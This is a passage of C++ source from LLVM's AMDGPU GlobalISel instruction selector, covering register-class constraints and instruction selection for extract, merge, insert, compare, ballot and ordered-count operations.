if (!MRI->getRegClassOrNull(Dst1Reg))
MRI->setRegClass(Dst1Reg, &AMDGPU::SReg_32RegClass);
if (!RBI.constrainGenericRegister(Dst0Reg, AMDGPU::SReg_32RegClass, *MRI) ||
!RBI.constrainGenericRegister(Src0Reg, AMDGPU::SReg_32RegClass, *MRI) ||
!RBI.constrainGenericRegister(Src1Reg, AMDGPU::SReg_32RegClass, *MRI))
return false;
if (HasCarryIn &&
!RBI.constrainGenericRegister(I.getOperand(4).getReg(),
AMDGPU::SReg_32RegClass, *MRI))
return false;
I.eraseFromParent();
return true;
}
// TODO: We should probably legalize these to only using 32-bit results.
bool AMDGPUInstructionSelector::selectG_EXTRACT(MachineInstr &I) const {
MachineBasicBlock *BB = I.getParent();
Register DstReg = I.getOperand(0).getReg();
Register SrcReg = I.getOperand(1).getReg();
LLT DstTy = MRI->getType(DstReg);
LLT SrcTy = MRI->getType(SrcReg);
const unsigned SrcSize = SrcTy.getSizeInBits();
unsigned DstSize = DstTy.getSizeInBits();
// TODO: Should handle any multiple of 32 offset.
unsigned Offset = I.getOperand(2).getImm();
if (Offset % 32 != 0 || DstSize > 128)
return false;
// 16-bit operations really use 32-bit registers.
// FIXME: Probably should not allow 16-bit G_EXTRACT results.
if (DstSize == 16)
DstSize = 32;
const TargetRegisterClass *DstRC =
TRI.getConstrainedRegClassForOperand(I.getOperand(0), *MRI);
if (!DstRC || !RBI.constrainGenericRegister(DstReg, *DstRC, *MRI))
return false;
const RegisterBank *SrcBank = RBI.getRegBank(SrcReg, *MRI, TRI);
const TargetRegisterClass *SrcRC =
TRI.getRegClassForSizeOnBank(SrcSize, *SrcBank, *MRI);
if (!SrcRC)
return false;
unsigned SubReg = SIRegisterInfo::getSubRegFromChannel(Offset / 32,
DstSize / 32);
SrcRC = TRI.getSubClassWithSubReg(SrcRC, SubReg);
if (!SrcRC)
return false;
SrcReg = constrainOperandRegClass(*MF, TRI, *MRI, TII, RBI, I,
*SrcRC, I.getOperand(1));
const DebugLoc &DL = I.getDebugLoc();
BuildMI(*BB, &I, DL, TII.get(TargetOpcode::COPY), DstReg)
.addReg(SrcReg, 0, SubReg);
I.eraseFromParent();
return true;
}
bool AMDGPUInstructionSelector::selectG_MERGE_VALUES(MachineInstr &MI) const {
MachineBasicBlock *BB = MI.getParent();
Register DstReg = MI.getOperand(0).getReg();
LLT DstTy = MRI->getType(DstReg);
LLT SrcTy = MRI->getType(MI.getOperand(1).getReg());
const unsigned SrcSize = SrcTy.getSizeInBits();
if (SrcSize < 32)
return selectImpl(MI, *CoverageInfo);
const DebugLoc &DL = MI.getDebugLoc();
const RegisterBank *DstBank = RBI.getRegBank(DstReg, *MRI, TRI);
const unsigned DstSize = DstTy.getSizeInBits();
const TargetRegisterClass *DstRC =
TRI.getRegClassForSizeOnBank(DstSize, *DstBank, *MRI);
if (!DstRC)
return false;
ArrayRef<int16_t> SubRegs = TRI.getRegSplitParts(DstRC, SrcSize / 8);
MachineInstrBuilder MIB =
BuildMI(*BB, &MI, DL, TII.get(TargetOpcode::REG_SEQUENCE), DstReg);
for (int I = 0, E = MI.getNumOperands() - 1; I != E; ++I) {
MachineOperand &Src = MI.getOperand(I + 1);
MIB.addReg(Src.getReg(), getUndefRegState(Src.isUndef()));
MIB.addImm(SubRegs[I]);
const TargetRegisterClass *SrcRC
= TRI.getConstrainedRegClassForOperand(Src, *MRI);
if (SrcRC && !RBI.constrainGenericRegister(Src.getReg(), *SrcRC, *MRI))
return false;
}
if (!RBI.constrainGenericRegister(DstReg, *DstRC, *MRI))
return false;
MI.eraseFromParent();
return true;
}
bool AMDGPUInstructionSelector::selectG_UNMERGE_VALUES(MachineInstr &MI) const {
MachineBasicBlock *BB = MI.getParent();
const int NumDst = MI.getNumOperands() - 1;
MachineOperand &Src = MI.getOperand(NumDst);
Register SrcReg = Src.getReg();
Register DstReg0 = MI.getOperand(0).getReg();
LLT DstTy = MRI->getType(DstReg0);
LLT SrcTy = MRI->getType(SrcReg);
const unsigned DstSize = DstTy.getSizeInBits();
const unsigned SrcSize = SrcTy.getSizeInBits();
const DebugLoc &DL = MI.getDebugLoc();
const RegisterBank *SrcBank = RBI.getRegBank(SrcReg, *MRI, TRI);
const TargetRegisterClass *SrcRC =
TRI.getRegClassForSizeOnBank(SrcSize, *SrcBank, *MRI);
if (!SrcRC || !RBI.constrainGenericRegister(SrcReg, *SrcRC, *MRI))
return false;
// Note we could have mixed SGPR and VGPR destination banks for an SGPR
// source, and this relies on the fact that the same subregister indices are
// used for both.
ArrayRef<int16_t> SubRegs = TRI.getRegSplitParts(SrcRC, DstSize / 8);
for (int I = 0, E = NumDst; I != E; ++I) {
MachineOperand &Dst = MI.getOperand(I);
BuildMI(*BB, &MI, DL, TII.get(TargetOpcode::COPY), Dst.getReg())
.addReg(SrcReg, 0, SubRegs[I]);
// Make sure the subregister index is valid for the source register.
SrcRC = TRI.getSubClassWithSubReg(SrcRC, SubRegs[I]);
if (!SrcRC || !RBI.constrainGenericRegister(SrcReg, *SrcRC, *MRI))
return false;
const TargetRegisterClass *DstRC =
TRI.getConstrainedRegClassForOperand(Dst, *MRI);
if (DstRC && !RBI.constrainGenericRegister(Dst.getReg(), *DstRC, *MRI))
return false;
}
MI.eraseFromParent();
return true;
}
bool AMDGPUInstructionSelector::selectG_BUILD_VECTOR_TRUNC(
MachineInstr &MI) const {
if (selectImpl(MI, *CoverageInfo))
return true;
const LLT S32 = LLT::scalar(32);
const LLT V2S16 = LLT::vector(2, 16);
Register Dst = MI.getOperand(0).getReg();
if (MRI->getType(Dst) != V2S16)
return false;
const RegisterBank *DstBank = RBI.getRegBank(Dst, *MRI, TRI);
if (DstBank->getID() != AMDGPU::SGPRRegBankID)
return false;
Register Src0 = MI.getOperand(1).getReg();
Register Src1 = MI.getOperand(2).getReg();
if (MRI->getType(Src0) != S32)
return false;
const DebugLoc &DL = MI.getDebugLoc();
MachineBasicBlock *BB = MI.getParent();
auto ConstSrc1 = getConstantVRegValWithLookThrough(Src1, *MRI, true, true);
if (ConstSrc1) {
auto ConstSrc0 = getConstantVRegValWithLookThrough(Src0, *MRI, true, true);
if (ConstSrc0) {
uint32_t Lo16 = static_cast<uint32_t>(ConstSrc0->Value) & 0xffff;
uint32_t Hi16 = static_cast<uint32_t>(ConstSrc1->Value) & 0xffff;
BuildMI(*BB, &MI, DL, TII.get(AMDGPU::S_MOV_B32), Dst)
.addImm(Lo16 | (Hi16 << 16));
MI.eraseFromParent();
return RBI.constrainGenericRegister(Dst, AMDGPU::SReg_32RegClass, *MRI);
}
}
// TODO: This should probably be a combine somewhere
// (build_vector_trunc $src0, undef -> copy $src0
MachineInstr *Src1Def = getDefIgnoringCopies(Src1, *MRI);
if (Src1Def && Src1Def->getOpcode() == AMDGPU::G_IMPLICIT_DEF) {
MI.setDesc(TII.get(AMDGPU::COPY));
MI.RemoveOperand(2);
return RBI.constrainGenericRegister(Dst, AMDGPU::SReg_32RegClass, *MRI) &&
RBI.constrainGenericRegister(Src0, AMDGPU::SReg_32RegClass, *MRI);
}
Register ShiftSrc0;
Register ShiftSrc1;
int64_t ShiftAmt;
// With multiple uses of the shift, this will duplicate the shift and
// increase register pressure.
//
// (build_vector_trunc (lshr_oneuse $src0, 16), (lshr_oneuse $src1, 16)
// => (S_PACK_HH_B32_B16 $src0, $src1)
// (build_vector_trunc $src0, (lshr_oneuse SReg_32:$src1, 16))
// => (S_PACK_LH_B32_B16 $src0, $src1)
// (build_vector_trunc $src0, $src1)
// => (S_PACK_LL_B32_B16 $src0, $src1)
// FIXME: This is an inconvenient way to check a specific value
bool Shift0 = mi_match(
Src0, *MRI, m_OneUse(m_GLShr(m_Reg(ShiftSrc0), m_ICst(ShiftAmt)))) &&
ShiftAmt == 16;
bool Shift1 = mi_match(
Src1, *MRI, m_OneUse(m_GLShr(m_Reg(ShiftSrc1), m_ICst(ShiftAmt)))) &&
ShiftAmt == 16;
unsigned Opc = AMDGPU::S_PACK_LL_B32_B16;
if (Shift0 && Shift1) {
Opc = AMDGPU::S_PACK_HH_B32_B16;
MI.getOperand(1).setReg(ShiftSrc0);
MI.getOperand(2).setReg(ShiftSrc1);
} else if (Shift1) {
Opc = AMDGPU::S_PACK_LH_B32_B16;
MI.getOperand(2).setReg(ShiftSrc1);
} else if (Shift0 && ConstSrc1 && ConstSrc1->Value == 0) {
// build_vector_trunc (lshr $src0, 16), 0 -> s_lshr_b32 $src0, 16
auto MIB = BuildMI(*BB, &MI, DL, TII.get(AMDGPU::S_LSHR_B32), Dst)
.addReg(ShiftSrc0)
.addImm(16);
MI.eraseFromParent();
return constrainSelectedInstRegOperands(*MIB, TII, TRI, RBI);
}
MI.setDesc(TII.get(Opc));
return constrainSelectedInstRegOperands(MI, TII, TRI, RBI);
}
bool AMDGPUInstructionSelector::selectG_PTR_ADD(MachineInstr &I) const {
return selectG_ADD_SUB(I);
}
bool AMDGPUInstructionSelector::selectG_IMPLICIT_DEF(MachineInstr &I) const {
const MachineOperand &MO = I.getOperand(0);
// FIXME: Interface for getConstrainedRegClassForOperand needs work. The
// regbank check here is to know why getConstrainedRegClassForOperand failed.
const TargetRegisterClass *RC = TRI.getConstrainedRegClassForOperand(MO, *MRI);
if ((!RC && !MRI->getRegBankOrNull(MO.getReg())) ||
(RC && RBI.constrainGenericRegister(MO.getReg(), *RC, *MRI))) {
I.setDesc(TII.get(TargetOpcode::IMPLICIT_DEF));
return true;
}
return false;
}
bool AMDGPUInstructionSelector::selectG_INSERT(MachineInstr &I) const {
MachineBasicBlock *BB = I.getParent();
Register DstReg = I.getOperand(0).getReg();
Register Src0Reg = I.getOperand(1).getReg();
Register Src1Reg = I.getOperand(2).getReg();
LLT Src1Ty = MRI->getType(Src1Reg);
unsigned DstSize = MRI->getType(DstReg).getSizeInBits();
unsigned InsSize = Src1Ty.getSizeInBits();
int64_t Offset = I.getOperand(3).getImm();
// FIXME: These cases should have been illegal and unnecessary to check here.
if (Offset % 32 != 0 || InsSize % 32 != 0)
return false;
// Currently not handled by getSubRegFromChannel.
if (InsSize > 128)
return false;
unsigned SubReg = TRI.getSubRegFromChannel(Offset / 32, InsSize / 32);
if (SubReg == AMDGPU::NoSubRegister)
return false;
const RegisterBank *DstBank = RBI.getRegBank(DstReg, *MRI, TRI);
const TargetRegisterClass *DstRC =
TRI.getRegClassForSizeOnBank(DstSize, *DstBank, *MRI);
if (!DstRC)
return false;
const RegisterBank *Src0Bank = RBI.getRegBank(Src0Reg, *MRI, TRI);
const RegisterBank *Src1Bank = RBI.getRegBank(Src1Reg, *MRI, TRI);
const TargetRegisterClass *Src0RC =
TRI.getRegClassForSizeOnBank(DstSize, *Src0Bank, *MRI);
const TargetRegisterClass *Src1RC =
TRI.getRegClassForSizeOnBank(InsSize, *Src1Bank, *MRI);
// Deal with weird cases where the class only partially supports the subreg
// index.
Src0RC = TRI.getSubClassWithSubReg(Src0RC, SubReg);
if (!Src0RC || !Src1RC)
return false;
if (!RBI.constrainGenericRegister(DstReg, *DstRC, *MRI) ||
!RBI.constrainGenericRegister(Src0Reg, *Src0RC, *MRI) ||
!RBI.constrainGenericRegister(Src1Reg, *Src1RC, *MRI))
return false;
const DebugLoc &DL = I.getDebugLoc();
BuildMI(*BB, &I, DL, TII.get(TargetOpcode::INSERT_SUBREG), DstReg)
.addReg(Src0Reg)
.addReg(Src1Reg)
.addImm(SubReg);
I.eraseFromParent();
return true;
}
bool AMDGPUInstructionSelector::selectInterpP1F16(MachineInstr &MI) const {
if (STI.getLDSBankCount() != 16)
return selectImpl(MI, *CoverageInfo);
Register Dst = MI.getOperand(0).getReg();
Register Src0 = MI.getOperand(2).getReg();
Register M0Val = MI.getOperand(6).getReg();
if (!RBI.constrainGenericRegister(M0Val, AMDGPU::SReg_32RegClass, *MRI) ||
!RBI.constrainGenericRegister(Dst, AMDGPU::VGPR_32RegClass, *MRI) ||
!RBI.constrainGenericRegister(Src0, AMDGPU::VGPR_32RegClass, *MRI))
return false;
// This requires 2 instructions. It is possible to write a pattern to support
// this, but the generated isel emitter doesn't correctly deal with multiple
// output instructions using the same physical register input. The copy to m0
// is incorrectly placed before the second instruction.
//
// TODO: Match source modifiers.
Register InterpMov = MRI->createVirtualRegister(&AMDGPU::VGPR_32RegClass);
const DebugLoc &DL = MI.getDebugLoc();
MachineBasicBlock *MBB = MI.getParent();
BuildMI(*MBB, &MI, DL, TII.get(AMDGPU::COPY), AMDGPU::M0)
.addReg(M0Val);
BuildMI(*MBB, &MI, DL, TII.get(AMDGPU::V_INTERP_MOV_F32), InterpMov)
.addImm(2)
.addImm(MI.getOperand(4).getImm()) // $attr
.addImm(MI.getOperand(3).getImm()); // $attrchan
BuildMI(*MBB, &MI, DL, TII.get(AMDGPU::V_INTERP_P1LV_F16), Dst)
.addImm(0) // $src0_modifiers
.addReg(Src0) // $src0
.addImm(MI.getOperand(4).getImm()) // $attr
.addImm(MI.getOperand(3).getImm()) // $attrchan
.addImm(0) // $src2_modifiers
.addReg(InterpMov) // $src2 - 2 f16 values selected by high
.addImm(MI.getOperand(5).getImm()) // $high
.addImm(0) // $clamp
.addImm(0); // $omod
MI.eraseFromParent();
return true;
}
// We need to handle this here because tablegen doesn't support matching
// instructions with multiple outputs.
bool AMDGPUInstructionSelector::selectDivScale(MachineInstr &MI) const {
Register Dst0 = MI.getOperand(0).getReg();
Register Dst1 = MI.getOperand(1).getReg();
LLT Ty = MRI->getType(Dst0);
unsigned Opc;
if (Ty == LLT::scalar(32))
Opc = AMDGPU::V_DIV_SCALE_F32;
else if (Ty == LLT::scalar(64))
Opc = AMDGPU::V_DIV_SCALE_F64;
else
return false;
const DebugLoc &DL = MI.getDebugLoc();
MachineBasicBlock *MBB = MI.getParent();
Register Numer = MI.getOperand(3).getReg();
Register Denom = MI.getOperand(4).getReg();
unsigned ChooseDenom = MI.getOperand(5).getImm();
Register Src0 = ChooseDenom != 0 ? Numer : Denom;
auto MIB = BuildMI(*MBB, &MI, DL, TII.get(Opc), Dst0)
.addDef(Dst1)
.addUse(Src0)
.addUse(Denom)
.addUse(Numer);
MI.eraseFromParent();
return constrainSelectedInstRegOperands(*MIB, TII, TRI, RBI);
}
bool AMDGPUInstructionSelector::selectG_INTRINSIC(MachineInstr &I) const {
unsigned IntrinsicID = I.getIntrinsicID();
switch (IntrinsicID) {
case Intrinsic::amdgcn_if_break: {
MachineBasicBlock *BB = I.getParent();
// FIXME: Manually selecting to avoid dealiing with the SReg_1 trick
// SelectionDAG uses for wave32 vs wave64.
BuildMI(*BB, &I, I.getDebugLoc(), TII.get(AMDGPU::SI_IF_BREAK))
.add(I.getOperand(0))
.add(I.getOperand(2))
.add(I.getOperand(3));
Register DstReg = I.getOperand(0).getReg();
Register Src0Reg = I.getOperand(2).getReg();
Register Src1Reg = I.getOperand(3).getReg();
I.eraseFromParent();
for (Register Reg : { DstReg, Src0Reg, Src1Reg })
MRI->setRegClass(Reg, TRI.getWaveMaskRegClass());
return true;
}
case Intrinsic::amdgcn_interp_p1_f16:
return selectInterpP1F16(I);
case Intrinsic::amdgcn_wqm:
return constrainCopyLikeIntrin(I, AMDGPU::WQM);
case Intrinsic::amdgcn_softwqm:
return constrainCopyLikeIntrin(I, AMDGPU::SOFT_WQM);
case Intrinsic::amdgcn_wwm:
return constrainCopyLikeIntrin(I, AMDGPU::WWM);
case Intrinsic::amdgcn_div_scale:
return selectDivScale(I);
case Intrinsic::amdgcn_icmp:
return selectIntrinsicIcmp(I);
case Intrinsic::amdgcn_ballot:
return selectBallot(I);
case Intrinsic::amdgcn_reloc_constant:
return selectRelocConstant(I);
case Intrinsic::returnaddress:
return selectReturnAddress(I);
default:
return selectImpl(I, *CoverageInfo);
}
}
static int getV_CMPOpcode(CmpInst::Predicate P, unsigned Size) {
if (Size != 32 && Size != 64)
return -1;
switch (P) {
default:
llvm_unreachable("Unknown condition code!");
case CmpInst::ICMP_NE:
return Size == 32 ? AMDGPU::V_CMP_NE_U32_e64 : AMDGPU::V_CMP_NE_U64_e64;
case CmpInst::ICMP_EQ:
return Size == 32 ? AMDGPU::V_CMP_EQ_U32_e64 : AMDGPU::V_CMP_EQ_U64_e64;
case CmpInst::ICMP_SGT:
return Size == 32 ? AMDGPU::V_CMP_GT_I32_e64 : AMDGPU::V_CMP_GT_I64_e64;
case CmpInst::ICMP_SGE:
return Size == 32 ? AMDGPU::V_CMP_GE_I32_e64 : AMDGPU::V_CMP_GE_I64_e64;
case CmpInst::ICMP_SLT:
return Size == 32 ? AMDGPU::V_CMP_LT_I32_e64 : AMDGPU::V_CMP_LT_I64_e64;
case CmpInst::ICMP_SLE:
return Size == 32 ? AMDGPU::V_CMP_LE_I32_e64 : AMDGPU::V_CMP_LE_I64_e64;
case CmpInst::ICMP_UGT:
return Size == 32 ? AMDGPU::V_CMP_GT_U32_e64 : AMDGPU::V_CMP_GT_U64_e64;
case CmpInst::ICMP_UGE:
return Size == 32 ? AMDGPU::V_CMP_GE_U32_e64 : AMDGPU::V_CMP_GE_U64_e64;
case CmpInst::ICMP_ULT:
return Size == 32 ? AMDGPU::V_CMP_LT_U32_e64 : AMDGPU::V_CMP_LT_U64_e64;
case CmpInst::ICMP_ULE:
return Size == 32 ? AMDGPU::V_CMP_LE_U32_e64 : AMDGPU::V_CMP_LE_U64_e64;
}
}
int AMDGPUInstructionSelector::getS_CMPOpcode(CmpInst::Predicate P,
unsigned Size) const {
if (Size == 64) {
if (!STI.hasScalarCompareEq64())
return -1;
switch (P) {
case CmpInst::ICMP_NE:
return AMDGPU::S_CMP_LG_U64;
case CmpInst::ICMP_EQ:
return AMDGPU::S_CMP_EQ_U64;
default:
return -1;
}
}
if (Size != 32)
return -1;
switch (P) {
case CmpInst::ICMP_NE:
return AMDGPU::S_CMP_LG_U32;
case CmpInst::ICMP_EQ:
return AMDGPU::S_CMP_EQ_U32;
case CmpInst::ICMP_SGT:
return AMDGPU::S_CMP_GT_I32;
case CmpInst::ICMP_SGE:
return AMDGPU::S_CMP_GE_I32;
case CmpInst::ICMP_SLT:
return AMDGPU::S_CMP_LT_I32;
case CmpInst::ICMP_SLE:
return AMDGPU::S_CMP_LE_I32;
case CmpInst::ICMP_UGT:
return AMDGPU::S_CMP_GT_U32;
case CmpInst::ICMP_UGE:
return AMDGPU::S_CMP_GE_U32;
case CmpInst::ICMP_ULT:
return AMDGPU::S_CMP_LT_U32;
case CmpInst::ICMP_ULE:
return AMDGPU::S_CMP_LE_U32;
default:
llvm_unreachable("Unknown condition code!");
}
}
bool AMDGPUInstructionSelector::selectG_ICMP(MachineInstr &I) const {
MachineBasicBlock *BB = I.getParent();
const DebugLoc &DL = I.getDebugLoc();
Register SrcReg = I.getOperand(2).getReg();
unsigned Size = RBI.getSizeInBits(SrcReg, *MRI, TRI);
auto Pred = (CmpInst::Predicate)I.getOperand(1).getPredicate();
Register CCReg = I.getOperand(0).getReg();
if (!isVCC(CCReg, *MRI)) {
int Opcode = getS_CMPOpcode(Pred, Size);
if (Opcode == -1)
return false;
MachineInstr *ICmp = BuildMI(*BB, &I, DL, TII.get(Opcode))
.add(I.getOperand(2))
.add(I.getOperand(3));
BuildMI(*BB, &I, DL, TII.get(AMDGPU::COPY), CCReg)
.addReg(AMDGPU::SCC);
bool Ret =
constrainSelectedInstRegOperands(*ICmp, TII, TRI, RBI) &&
RBI.constrainGenericRegister(CCReg, AMDGPU::SReg_32RegClass, *MRI);
I.eraseFromParent();
return Ret;
}
int Opcode = getV_CMPOpcode(Pred, Size);
if (Opcode == -1)
return false;
MachineInstr *ICmp = BuildMI(*BB, &I, DL, TII.get(Opcode),
I.getOperand(0).getReg())
.add(I.getOperand(2))
.add(I.getOperand(3));
RBI.constrainGenericRegister(ICmp->getOperand(0).getReg(),
*TRI.getBoolRC(), *MRI);
bool Ret = constrainSelectedInstRegOperands(*ICmp, TII, TRI, RBI);
I.eraseFromParent();
return Ret;
}
bool AMDGPUInstructionSelector::selectIntrinsicIcmp(MachineInstr &I) const {
Register Dst = I.getOperand(0).getReg();
if (isVCC(Dst, *MRI))
return false;
if (MRI->getType(Dst).getSizeInBits() != STI.getWavefrontSize())
return false;
MachineBasicBlock *BB = I.getParent();
const DebugLoc &DL = I.getDebugLoc();
Register SrcReg = I.getOperand(2).getReg();
unsigned Size = RBI.getSizeInBits(SrcReg, *MRI, TRI);
auto Pred = static_cast<CmpInst::Predicate>(I.getOperand(4).getImm());
int Opcode = getV_CMPOpcode(Pred, Size);
if (Opcode == -1)
return false;
MachineInstr *ICmp = BuildMI(*BB, &I, DL, TII.get(Opcode), Dst)
.add(I.getOperand(2))
.add(I.getOperand(3));
RBI.constrainGenericRegister(ICmp->getOperand(0).getReg(), *TRI.getBoolRC(),
*MRI);
bool Ret = constrainSelectedInstRegOperands(*ICmp, TII, TRI, RBI);
I.eraseFromParent();
return Ret;
}
bool AMDGPUInstructionSelector::selectBallot(MachineInstr &I) const {
MachineBasicBlock *BB = I.getParent();
const DebugLoc &DL = I.getDebugLoc();
Register DstReg = I.getOperand(0).getReg();
const unsigned Size = MRI->getType(DstReg).getSizeInBits();
const bool Is64 = Size == 64;
if (Size != STI.getWavefrontSize())
return false;
Optional<ValueAndVReg> Arg =
getConstantVRegValWithLookThrough(I.getOperand(2).getReg(), *MRI, true);
if (Arg.hasValue()) {
const int64_t Value = Arg.getValue().Value;
if (Value == 0) {
unsigned Opcode = Is64 ? AMDGPU::S_MOV_B64 : AMDGPU::S_MOV_B32;
BuildMI(*BB, &I, DL, TII.get(Opcode), DstReg).addImm(0);
} else if (Value == -1) { // all ones
Register SrcReg = Is64 ? AMDGPU::EXEC : AMDGPU::EXEC_LO;
BuildMI(*BB, &I, DL, TII.get(AMDGPU::COPY), DstReg).addReg(SrcReg);
} else
return false;
} else {
Register SrcReg = I.getOperand(2).getReg();
BuildMI(*BB, &I, DL, TII.get(AMDGPU::COPY), DstReg).addReg(SrcReg);
}
I.eraseFromParent();
return true;
}
bool AMDGPUInstructionSelector::selectRelocConstant(MachineInstr &I) const {
Register DstReg = I.getOperand(0).getReg();
const RegisterBank *DstBank = RBI.getRegBank(DstReg, *MRI, TRI);
const TargetRegisterClass *DstRC =
TRI.getRegClassForSizeOnBank(32, *DstBank, *MRI);
if (!DstRC || !RBI.constrainGenericRegister(DstReg, *DstRC, *MRI))
return false;
const bool IsVALU = DstBank->getID() == AMDGPU::VGPRRegBankID;
Module *M = MF->getFunction().getParent();
const MDNode *Metadata = I.getOperand(2).getMetadata();
auto SymbolName = cast<MDString>(Metadata->getOperand(0))->getString();
auto RelocSymbol = cast<GlobalVariable>(
M->getOrInsertGlobal(SymbolName, Type::getInt32Ty(M->getContext())));
MachineBasicBlock *BB = I.getParent();
BuildMI(*BB, &I, I.getDebugLoc(),
TII.get(IsVALU ? AMDGPU::V_MOV_B32_e32 : AMDGPU::S_MOV_B32), DstReg)
.addGlobalAddress(RelocSymbol, 0, SIInstrInfo::MO_ABS32_LO);
I.eraseFromParent();
return true;
}
bool AMDGPUInstructionSelector::selectReturnAddress(MachineInstr &I) const {
MachineBasicBlock *MBB = I.getParent();
MachineFunction &MF = *MBB->getParent();
const DebugLoc &DL = I.getDebugLoc();
MachineOperand &Dst = I.getOperand(0);
Register DstReg = Dst.getReg();
unsigned Depth = I.getOperand(2).getImm();
const TargetRegisterClass *RC
= TRI.getConstrainedRegClassForOperand(Dst, *MRI);
if (!RC->hasSubClassEq(&AMDGPU::SGPR_64RegClass) ||
!RBI.constrainGenericRegister(DstReg, *RC, *MRI))
return false;
// Check for kernel and shader functions
if (Depth != 0 ||
MF.getInfo<SIMachineFunctionInfo>()->isEntryFunction()) {
BuildMI(*MBB, &I, DL, TII.get(AMDGPU::S_MOV_B64), DstReg)
.addImm(0);
I.eraseFromParent();
return true;
}
MachineFrameInfo &MFI = MF.getFrameInfo();
// There is a call to @llvm.returnaddress in this function
MFI.setReturnAddressIsTaken(true);
// Get the return address reg and mark it as an implicit live-in
Register ReturnAddrReg = TRI.getReturnAddressReg(MF);
Register LiveIn = getFunctionLiveInPhysReg(MF, TII, ReturnAddrReg,
AMDGPU::SReg_64RegClass);
BuildMI(*MBB, &I, DL, TII.get(AMDGPU::COPY), DstReg)
.addReg(LiveIn);
I.eraseFromParent();
return true;
}
bool AMDGPUInstructionSelector::selectEndCfIntrinsic(MachineInstr &MI) const {
// FIXME: Manually selecting to avoid dealiing with the SReg_1 trick
// SelectionDAG uses for wave32 vs wave64.
MachineBasicBlock *BB = MI.getParent();
BuildMI(*BB, &MI, MI.getDebugLoc(), TII.get(AMDGPU::SI_END_CF))
.add(MI.getOperand(1));
Register Reg = MI.getOperand(1).getReg();
MI.eraseFromParent();
if (!MRI->getRegClassOrNull(Reg))
MRI->setRegClass(Reg, TRI.getWaveMaskRegClass());
return true;
}
bool AMDGPUInstructionSelector::selectDSOrderedIntrinsic(
MachineInstr &MI, Intrinsic::ID IntrID) const {
MachineBasicBlock *MBB = MI.getParent();
MachineFunction *MF = MBB->getParent();
const DebugLoc &DL = MI.getDebugLoc();
unsigned IndexOperand = MI.getOperand(7).getImm();
bool WaveRelease = MI.getOperand(8).getImm() != 0;
bool WaveDone = MI.getOperand(9).getImm() != 0;
if (WaveDone && !WaveRelease)
report_fatal_error("ds_ordered_count: wave_done requires wave_release");
unsigned OrderedCountIndex = IndexOperand & 0x3f;
IndexOperand &= ~0x3f;
unsigned CountDw = 0;
if (STI.getGeneration() >= AMDGPUSubtarget::GFX10) {
CountDw = (IndexOperand >> 24) & 0xf;
IndexOperand &= ~(0xf << 24);
if (CountDw < 1 || CountDw > 4) {
report_fatal_error(
"ds_ordered_count: dword count must be between 1 and 4");
}
}
if (IndexOperand)
report_fatal_error("ds_ordered_count: bad index operand");
unsigned Instruction = IntrID == Intrinsic::amdgcn_ds_ordered_add ? 0 : 1;
unsigned ShaderType = SIInstrInfo::getDSShaderTypeValue(*MF);
unsigned Offset0 = OrderedCountIndex << 2;
unsigned Offset1 = WaveRelease | (WaveDone << 1) | (ShaderType << 2) |
(Instruction << 4);
if (STI.getGeneration() >= AMDGPUSubtarget::GFX10)
Offset1 |= (CountDw - 1) << 6;
unsigned Offset = Offset0 | (Offset1 << 8);
Register M0Val = MI.getOperand(2).getReg();
BuildMI(*MBB, &MI, DL, TII.get(AMDGPU::COPY), AMDGPU::M0)
.addReg(M0Val);
Register DstReg = MI.getOperand(0).getReg();
Register ValReg = MI.getOperand(3).getReg();
MachineInstrBuilder DS =
BuildMI(*MBB, &MI, DL, TII.get(AMDGPU::DS_ORDERED_COUNT), DstReg)
.addReg(ValReg)
.addImm(Offset)
.cloneMemRefs(MI);
if (!RBI.constrainGenericRegister(M0Val, AMDGPU::SReg_32RegClass, *MRI))
return false;
bool Ret = constrainSelectedInstRegOperands(*DS, TII, TRI, RBI);
MI.eraseFromParent();
return Ret;
}
static unsigned gwsIntrinToOpcode(unsigned IntrID) {
switch (IntrID) {
case Intrinsic::amdgcn_ds_gws_init:
return AMDGPU::DS_GWS_INIT;
case Intrinsic::amdgcn_ds_gws_barrier:
return AMDGPU::DS_GWS_BARRIER;
case Intrinsic::amdgcn_ds_gws_sema_v:
return AMDGPU::DS_GWS_SEMA_V;
case Intrinsic::amdgcn_ds_gws_sema_br:
return AMDGPU::DS_GWS_SEMA_BR;
case Intrinsic::amdgcn_ds_gws_sema_p:
return AMDGPU::DS_GWS_SEMA_P;
case Intrinsic::amdgcn_ds_gws_sema_release_all:
return AMDGPU::DS_GWS_SEMA_RELEASE_ALL;
default:
llvm_unreachable("not a gws intrinsic");
}
}
bool AMDGPUInstructionSelector::selectDSGWSIntrinsic(MachineInstr &MI,
Intrinsic::ID IID) const {
if (IID == Intrinsic::amdgcn_ds_gws_sema_release_all &&
!STI.hasGWSSemaReleaseAll())
return false;
// intrinsic ID, vsrc, offset
const bool HasVSrc = MI.getNumOperands() == 3;
assert(HasVSrc || MI.getNumOperands() == 2);
Register BaseOffset = MI.getOperand(HasVSrc ? 2 : 1).getReg();
const RegisterBank *OffsetRB = RBI.getRegBank(BaseOffset, *MRI, TRI);
if (OffsetRB->getID() != AMDGPU::SGPRRegBankID)
return false;
MachineInstr *OffsetDef = getDefIgnoringCopies(BaseOffset, *MRI);
assert(OffsetDef);
unsigned ImmOffset;
MachineBasicBlock *MBB = MI.getParent();
const DebugLoc &DL = MI.getDebugLoc();
MachineInstr *Readfirstlane = nullptr;
// If we legalized the VGPR input, strip out the readfirstlane to analyze the
// incoming offset, in case there's an add of a constant. We'll have to put it
// back later.
if (OffsetDef->getOpcode() == AMDGPU::V_READFIRSTLANE_B32) {
Readfirstlane = OffsetDef;
BaseOffset = OffsetDef->getOperand(1).getReg();
OffsetDef = getDefIgnoringCopies(BaseOffset, *MRI);
}
if (OffsetDef->getOpcode() == AMDGPU::G_CONSTANT) {
// If we have a constant offset, try to use the 0 in m0 as the base.
// TODO: Look into changing the default m0 initialization value. If the
// default -1 only set the low 16-bits, we could leave it as-is and add 1 to
// the immediate offset.
ImmOffset = OffsetDef->getOperand(1).getCImm()->getZExtValue();
BuildMI(*MBB, &MI, DL, TII.get(AMDGPU::S_MOV_B32), AMDGPU::M0)
.addImm(0);
} else {
std::tie(BaseOffset, ImmOffset, OffsetDef)
= AMDGPU::getBaseWithConstantOffset(*MRI, BaseOffset);
if (Readfirstlane) {
// We have the constant offset now, so put the readfirstlane back on the
// variable component.
if (!RBI.constrainGenericRegister(BaseOffset, AMDGPU::VGPR_32RegClass, *MRI))
return false;
Readfirstlane->getOperand(1).setReg(BaseOffset);
BaseOffset = Readfirstlane->getOperand(0).getReg();
} else {
if (!RBI.constrainGenericRegister(BaseOffset,
AMDGPU::SReg_32RegClass, *MRI))
